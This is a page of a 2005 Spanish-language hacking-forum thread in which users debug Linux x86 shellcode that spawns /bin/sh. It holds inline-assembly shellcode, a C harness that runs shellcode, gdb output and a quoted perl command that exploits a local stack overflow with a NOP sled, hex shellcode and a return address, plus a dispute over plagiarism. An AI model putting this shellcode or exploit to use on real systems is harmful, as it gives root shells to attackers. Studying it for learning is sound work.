elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 19:11  


Tema destacado: Entra al canal IRC oficial de #elhacker.net

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Mis dudas en shellcoding
0 Usuarios y 2 Visitantes están viendo este tema.
Páginas: 1 [2] Ir Abajo Respuesta Imprimir
Autor Tema: Mis dudas en shellcoding  (Leído 2,505 veces)
Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.535



Ver Perfil WWW
Re: Mis dudas en shellcoding
« Respuesta #15 en: 10 Febrero 2005, 19:42 »

;D ;D ;D ;D ;D ;D ;D ;D ;D ;D
Conseguí root!!!!!!!!!!!!!

Es como perder la virginidad  ;D

De todas formas, las shellcodes siempre hay que probarlas antes:

Código:
char shellcode[]=
"OPCODES DE LA SHELLCODE";

int main()
{
  void (*s)()= (void *)shellcode;
  s();
  return 0;
}

Al compilar y ejecutar este codigo, se ejecuta tu shellcode, y asi puedes ver si funciona y tal :)

Salu2
En línea

Paisterist

Desconectado Desconectado

Mensajes: 97



Ver Perfil WWW
Re: Mis dudas en shellcoding
« Respuesta #16 en: 11 Febrero 2005, 04:39 »

ejeje, sí, la verdad que sí. Ahora bien, sigamos con la shellcode. EL código en ASM es el sigueinte. Yo no le encuentro ningún error y cuando ejecuto el programa en C me tira violación de segmento  :(

Código:
#include <stdio.h>

int main() {
__asm__(
"jmp 0x1f\n"
"popl %esi\n"
"xorl %eax, %eax\n"
"movb %al, 0x7(%esi)\n"
"movl %esi, 0x8(%esi)\n"
"movl %eax, 0xc(%esi)\n"
"movb $0xb, %al\n"
"movl %esi, %ebx\n"
"leal 0x8(%esi), %ecx\n"
"leal 0xc(%esi), %edx\n"
"int $0x80\n"
"xorl %eax, %eax\n"
"xorl %ebx, %ebx\n"
"inc %eax\n"
"int $0x80\n"
"call -0x24\n"
".string \"/bin/sh\"");
return 0;
}

Saludos
En línea


Artículos, exploits, ingeniería inversa, seguridad informática, retos y mucho más.
heap

Desconectado Desconectado

Mensajes: 272



Ver Perfil WWW
Re: Mis dudas en shellcoding
« Respuesta #17 en: 11 Febrero 2005, 05:43 »

Porfavor al poner un code o algo ponganlo lo mas claro posible, nada de code embedido, y si tienen alguna pregunta o violacion de segmento suban el core (si ***** lo necesito, ya no puedo adivinar), asi me facilitan la vida..........ultima vez que me pongo a hacer eso de comentar, hace par de dias mis funciones de adivino no funcionan asi que hasta que no regresen no contestare a menos que entienda todo sin esfuerzo (its a priviledge not a right).
Código:

jmp 0x1f ; al string aqui mete esi **creo
popl %esi ;sacaa esi.....
xorl %eax, %eax ;
movb %al, 0x7(%esi) ; luego de  /sh put 0
movl %esi, 0x8(%esi)\n" ; after /sh0 ponga la direccion
movl %eax, 0xc(%esi)\n" ; luego de /sh0AAAA pon dir
movb $0xb, %al\n" ; mover 11 a al, execve ()
movl %esi, %ebx\n" ;
leal 0x8(%esi), %ecx" ; loads the address of AAAA
leal 0xc(%esi), %edx" ; Loads adress after AAAA
int $0x80\n" ; llama al kernel
xorl %eax, %eax\n" ; eax 0 otra vez
xorl %ebx, %ebx\n" ; ebx 0 otra vex
inc %eax\n" ; inc eax
int $0x80\n" ; llama al kernel para nada ERROR
call -0x24\n" ; aca esta el jmp
.string \"/bin/sh\"") ; el string 0 argumentos, la syntax me es rara REVIZAR !

Bueno comienza por esos errores, luego intenta volverla a correr,  si te da seg fault, pasame el core !!!
« Última modificación: 11 Febrero 2005, 05:44 por heap » En línea

Paisterist

Desconectado Desconectado

Mensajes: 97



Ver Perfil WWW
Re: Mis dudas en shellcoding
« Respuesta #18 en: 11 Febrero 2005, 05:51 »

te dejo la salida del gdb
0x08048354 <main+0>:    push   %ebp
0x08048355 <main+1>:    mov    %esp,%ebp
0x08048357 <main+3>:    sub    $0x8,%esp
0x0804835a <main+6>:    and    $0xfffffff0,%esp
0x0804835d <main+9>:    mov    $0x0,%eax
0x08048362 <main+14>:   sub    %eax,%esp
0x08048364 <main+16>:   jmp    0x1f
0x08048369 <main+21>:   pop    %esi
0x0804836a <main+22>:   xor    %eax,%eax
0x0804836c <main+24>:   mov    %al,0x7(%esi)
0x0804836f <main+27>:   mov    %esi,0x8(%esi)
0x08048372 <main+30>:   mov    %eax,0xc(%esi)
0x08048375 <main+33>:   mov    $0xb,%al
0x08048377 <main+35>:   mov    %esi,%ebx
0x08048379 <main+37>:   lea    0x8(%esi),%ecx
0x0804837c <main+40>:   lea    0xc(%esi),%edx
0x0804837f <main+43>:   int    $0x80
0x08048381 <main+45>:   xor    %eax,%eax
0x08048383 <main+47>:   xor    %ebx,%ebx
0x08048385 <main+49>:   inc    %eax
0x08048386 <main+50>:   int    $0x80
0x08048388 <main+52>:   call   0xffffffdc

Acerca de lo que dices que inútil, la segunda llamada al kernel, lo que hago es llamar a exit(0);

Saludos
En línea


Artículos, exploits, ingeniería inversa, seguridad informática, retos y mucho más.
heap

Desconectado Desconectado

Mensajes: 272



Ver Perfil WWW
Re: Mis dudas en shellcoding
« Respuesta #19 en: 11 Febrero 2005, 05:55 »

te dejo la salida del gdb
0x08048354 <main+0>:    push   %ebp
0x08048355 <main+1>:    mov    %esp,%ebp
0x08048357 <main+3>:    sub    $0x8,%esp
0x0804835a <main+6>:    and    $0xfffffff0,%esp
0x0804835d <main+9>:    mov    $0x0,%eax
0x08048362 <main+14>:   sub    %eax,%esp
0x08048364 <main+16>:   jmp    0x1f
0x08048369 <main+21>:   pop    %esi
0x0804836a <main+22>:   xor    %eax,%eax
0x0804836c <main+24>:   mov    %al,0x7(%esi)
0x0804836f <main+27>:   mov    %esi,0x8(%esi)
0x08048372 <main+30>:   mov    %eax,0xc(%esi)
0x08048375 <main+33>:   mov    $0xb,%al
0x08048377 <main+35>:   mov    %esi,%ebx
0x08048379 <main+37>:   lea    0x8(%esi),%ecx
0x0804837c <main+40>:   lea    0xc(%esi),%edx
0x0804837f <main+43>:   int    $0x80
0x08048381 <main+45>:   xor    %eax,%eax
0x08048383 <main+47>:   xor    %ebx,%ebx
0x08048385 <main+49>:   inc    %eax
0x08048386 <main+50>:   int    $0x80
0x08048388 <main+52>:   call   0xffffffdc

Acerca de lo que dices que inútil, la segunda llamada al kernel, lo que hago es llamar a exit(0);

Saludos
No llames a exit...intenta hacerlo asi..........y tambien mira si calculaste bien el jmp call :)
En línea

Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.535



Ver Perfil WWW
Re: Mis dudas en shellcoding
« Respuesta #20 en: 11 Febrero 2005, 05:56 »

Lo cual sobra, porque si la shellcode funciona, tendras la shell, con lo que no te hace falta el exit(0).

Asi ahorras bytes.

Shellcode de RaiSe verdad?  ;D
En línea

Paisterist

Desconectado Desconectado

Mensajes: 97



Ver Perfil WWW
Re: Mis dudas en shellcoding
« Respuesta #21 en: 11 Febrero 2005, 05:58 »

Lo cual sobra, porque si la shellcode funciona, tendras la shell, con lo que no te hace falta el exit(0).

Asi ahorras bytes.

Shellcode de RaiSe verdad?  ;D

hajajajajja, así es. Ya saqué esa parte y creo que calculé bien el jmp y el call.. fíjense ustedes también, con la salida de gdb les alcanza.

#include <stdio.h>

int main() {
__asm__(
"jmp 0x1f\n"
"popl %esi\n"
"xorl %eax, %eax\n"
"movb %al, 0x7(%esi)\n"
"movl %esi, 0x8(%esi)\n"
"movl %eax, 0xc(%esi)\n"
"movb $0xb, %al\n"
"movl %esi, %ebx\n"
"leal 0x8(%esi), %ecx\n"
"leal 0xc(%esi), %edx\n"
"int $0x80\n"
"call -0x24\n"
".string \"/bin/sh\"");
return 0;
}
Saludos
En línea


Artículos, exploits, ingeniería inversa, seguridad informática, retos y mucho más.
heap

Desconectado Desconectado

Mensajes: 272



Ver Perfil WWW
Re: Mis dudas en shellcoding
« Respuesta #22 en: 11 Febrero 2005, 06:05 »

Ya instentaste volver a correrla ?
Haz lo siguiente, saca los opcodes, y ponlos
char shellcode[]=
"OPCODES DE LA SHELLCODE";

int main()
{
  void (*s)()= (void *)shellcode;
  s();
  return 0;
}
Para asi testearla :) , tambien si te da seg fault y ate dije que necesito el core.......esa salida de GDB no me sirve para nada
En línea

Rojodos
Colaborador
***
Desconectado Desconectado

Mensajes: 3.535



Ver Perfil WWW
Re: Mis dudas en shellcoding
« Respuesta #23 en: 11 Febrero 2005, 06:15 »

Prueba esta shellcode:

Código:
__asm__("
jmp 0x1f
popl %edi
movl %edi,%ebx
xorl %eax,%eax
movb %al,0x7(%edi)
movl %edi,0x8(%edi)
movl %eax,0xc(%edi)
leal 0x8(%edi),%ecx
leal 0xc(%edi),%edx
movb $0xb,%al
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
movl $0xbffffff0,%esp
call -0x29
.string \"/bin/sh\"
");

Salu2
En línea

heap

Desconectado Desconectado

Mensajes: 272



Ver Perfil WWW
Re: Mis dudas en shellcoding
« Respuesta #24 en: 11 Febrero 2005, 06:28 »

Mira ahi en msn ya viste que e n 0x00000f1 esta el error, no se como calculaste el offset, pero hay un modo sencillo de hacer el jmp--call trick........
jmp short       string
shellcode:
pop             esi

string:
call              shellcode
db              'This is my string#'

Hazlo asi :)
AHh y leete un txt bueno:
   http://www.safemode.org/files/zillion/shellcode/doc/Writing_shellcode.html
En línea

Paisterist

Desconectado Desconectado

Mensajes: 97



Ver Perfil WWW
Re: Mis dudas en shellcoding
« Respuesta #25 en: 11 Febrero 2005, 06:36 »

rojodos, tu shellcode me tira el siguiente error:
paisterist@box:~/shellcodes$ cc shell.c -o sh
shell.c:4:9: falta carácter terminando "
shell.c: En la función `main':
shell.c:5: error: error de decodificación before "jmp"
shell.c:22: error: stray '\' in program
shell.c:22:10: falta carácter terminando "
shell.c:23:1: falta carácter terminando "
shell.c:25:2: aviso: no hay caractér de fin de línea al final del fichero

En cautno a lo que decís heap, la verdad me aprece que está bien loq eu decís, no tengo que andar calculando nada. Pero uta, el texto está en inghés... el nuevo code es este y me tira error al tratar de compilarlo:

paisterist@box:~/shellcodes$ cc shellcode.c -o sh
/tmp/ccmBsZMa.s: Mensajes del ensamblador:
/tmp/ccmBsZMa.s:13: Error: basura `string' después de la expresión
paisterist@box:~/shellcodes$

#include <stdio.h>

int main() {
__asm__(
"jmp short string\n"
"popl %esi\n"
"xorl %eax, %eax\n"
"movb %al, 0x7(%esi)\n"
"movl %esi, 0x8(%esi)\n"
"movl %eax, 0xc(%esi)\n"
"movb $0xb, %al\n"
"movl %esi, %ebx\n"
"leal 0x8(%esi), %ecx\n"
"leal 0xc(%esi), %edx\n"
"int $0x80\n"
".string \"/bin/sh\"\n"
"call -0x24");
return 0;
}

En línea


Artículos, exploits, ingeniería inversa, seguridad informática, retos y mucho más.
heap

Desconectado Desconectado

Mensajes: 272



Ver Perfil WWW
Re: Mis dudas en shellcoding
« Respuesta #26 en: 11 Febrero 2005, 06:48 »

No mames, acabo de ver el post de neo security team.
http://200.58.112.84/~moneos/foros/viewtopic.php?t=505

Todo eso que dices ahi lo hice yo, asi que no mames, de hecho yo escribi esa shellcode, para un congreso en bolivia
www.cih2k5.org al que asistire a dar una ponencia sobre stack overflows http://www.cih2k5.org/ponentes.htm#freakzoid

No aprecio ni un poquito esto, y es en parte la razon por la que no me gusta ayudar a ciertas personas. Todo esto que te explique y todo, lo consegui leyendo mucho, y practicando y tambien principalmente debido a dex, a quien simpre mencionare por todo lo que me ayudo.........ahora bien que hayas copiado todo lo que hice al pie de la letra no te hace hax0r..ni explotaste nada...todo lo hice yo, tu solo lo copiaste.....pero bueno anda.....ya no seguire posteando mas por gente como tu,  no se porque me acuerdo de flux sus codigos de php y megabyte..........bueno suerte..........y no te seguire dando material para ROBAR !!!

Citar
Tenemos 1040 bytes que ocupar. La shellcode que usaremos ocupa 65 bytes, y necesitaremos 8 bytes para sobreescribir EBP y EIP (4 bytes cada uno). 1040 - 65 - 8 = 967
AHh se me olvidaba mi peque~o lamer, antes de rippear, aprende, el shellcode es de 53 bytes, yo use 311 NOPS + 171 (4) + 53  = 1048 asi que tu txt esta mal...
Ademas haces tus calculos y porque no los utilizas ? porque no los utilizas ? jaja LOL aprende a copiar estas peor que hackzatan que no lee el codigo.....
Citar
paisterist@box:~/shellcodes$ ./vuln `perl -e 'print "\x90"x"311"; print "\x31\xc0\xb0\x17\x31\xdb\xcd\x80\xeb\x16\x5b\x31\xc0\x89\x43\x07\x89
\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff
\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x41\x41\x41\x41\x41\x41\x41\x41"; print "\x80\xf2\xff\xbf"x"200";'`

« Última modificación: 11 Febrero 2005, 07:00 por heap » En línea

Paisterist

Desconectado Desconectado

Mensajes: 97



Ver Perfil WWW
Re: Mis dudas en shellcoding
« Respuesta #27 en: 11 Febrero 2005, 06:55 »

heap, no quiero que este post se convierta en un bombardeo de puteadas. En ningún momento digo uqe la shellcode sea mía, es más, puse que era por ti recién. El texto se basa más que nada (la teoría) en el paper de Explotando stack overflows en Unix x86 de www.danitrous.org Vos me ayudaste bastante man, me explicaste las dudas y otras cosas más, pero no por eso me voy a privar de escribir un texto acerca de lo que aprendí.

REconozco que aprendí mucho de lo que me explicaste, pero no te estoy robando nada man.

Me imagino que no piensas que copie lo tuyo y cambié el prompt por paisterist@box$ man, esas pruebas las hice en mi knoppix.

Ya les agradecí a los dos, acaso tengo que hacerte un monumento por ayudarte???

Saludos

En cuantos a los calculos, cambié la shellcode a último momento y no volví a aclarar que era de 53 bytes man, y la verdad no sé quién sos para decirme lammer, sólo porque puse tu shellcode y encima aclaré que es tuya  :-[ :-[ Y NO ME DIGAS LAMMER SI NO ME CONOCÉS, NO TE COPIÉ NADA.
« Última modificación: 12 Febrero 2005, 04:36 por Paisterist » En línea


Artículos, exploits, ingeniería inversa, seguridad informática, retos y mucho más.
Paisterist

Desconectado Desconectado

Mensajes: 97



Ver Perfil WWW
Re: Mis dudas en shellcoding
« Respuesta #28 en: 12 Febrero 2005, 04:36 »

Volviendo al tema, Rojodos, la shellcode uqe pusiste no me funciona, ya pastee los errores...

Saludos
En línea


Artículos, exploits, ingeniería inversa, seguridad informática, retos y mucho más.
Páginas: 1 [2] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[Taller] Shellcoding: No mas bytes nulos!
Bugs y Exploits
lShadowl 1 584 Último mensaje 26 Febrero 2011, 23:01
por jackgris
Shellcoding 4 dummies
Hacking Básico
SnakingMax 1 1,017 Último mensaje 17 Enero 2012, 20:39
por Shamaroot
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines